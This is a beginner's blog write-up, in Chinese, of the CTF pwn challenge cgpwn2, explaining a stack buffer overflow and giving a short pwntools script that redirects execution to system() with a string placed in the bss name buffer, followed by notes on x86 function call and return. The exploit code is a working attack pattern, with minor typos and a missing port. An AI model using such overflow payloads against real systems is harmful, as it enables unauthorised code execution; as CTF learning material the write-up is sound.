2. pwn入门新手做system没有参数(内含函数调用过程),需要自己构造的攻防世界cgpwn2,求大佬指教

在这里插入图片描述我们拿到文件之后放到 linux里checksec一下 一个32位文件 ,开了nx 把文件拖入 ida f5开始分析
main 函数 我们看到了hello() 函数 点进去 进行分析
在这里插入图片描述我们看到了比较重要的几行交互代码,,我们看看下面的部分首先要求我们输入一个名字,这个输入是通过fgets函数完成的,从键盘读取最多32h个字符到name区域
在这里插入图片描述
我上网百度了一下 fgets的函数原型
在这里插入图片描述我们双击fgets函数中的name,然后如图所示
在这里插入图片描述说句题外话,db 34h dup(?) 就是给你定义那个数组分配32h的数,(?)就是给大小 不给初始值 害!学完汇编时间长忘了! 做题的时候没想起来
这里没有发生溢出 然后我们可以看到name是在bss段,
对于bss段的描述:“未初始化的数据,很少使用。”
由于system没有参数不是我们想要的
我们可以把system的参数写到这里,完成system("/bin/sh")
最后 exp这样写
from pwn import*
q=remote(‘111.198.29.45’, )
sysaddr=0x08048420
nameaddr=0x0804a080
payload=(0x26+4)*a+p32(sysaddr)+‘a’*4+p32(nameaddr)
q.recvuntil(“please tell me your name”)
q.sendline(“cat flag”)
q.recvuntil(“hello,you can leave some message here:”)
q.sendline(payload)
q.interactive()
在这里插入图片描述
对于为什么要加’a’*4填充 是因为 你要调用system函数的时候要压入一个返回地址
我看了一些大佬写的wp,也有写p32(0) 这也相当于4个字节的数
这里就需要我们对于函数调用有一定的了解
在这里插入图片描述 在这里插入图片描述

函数调用大致 包括以下几个步骤:

(1)参数入栈:将参数从右向左压入系统栈中
(2)返回地址入栈:将当前代码区调用指令的下一条指令地址压入栈中,供函数返回时继续执行
(3)代码区跳转:处理器从当前代码区跳转到背调用函数的入口
(4)栈帧调整

函数返回的步骤如下:

(1)保存返回值:通常将返回值保存在寄存器eax中
(2)弹出当前栈帧,恢复上一个栈帧
这一步分为 1.在堆栈平衡的基础上,给esp加上栈帧的大小,降低栈顶回收当前栈空间
2 在当前栈帧底部保存的前栈帧ebp的值探入ebp寄存器,恢复出上一个栈帧
3 将函数返回地址弹给eip寄存器

(3)跳转:按照函数返回地址跳回母函数中继续执行

终于完成了!! 明天继续战斗!!!
对于文章有问题或者不一样的看法 大家可以一起讨论一下一起进步
希望有大佬来给我指点一二 非常感谢

发布了2 篇原创文章 · 获赞 1 · 访问量 424

猜你喜欢

转载自blog.csdn.net/qiudalaojiao/article/details/104210421
今日推荐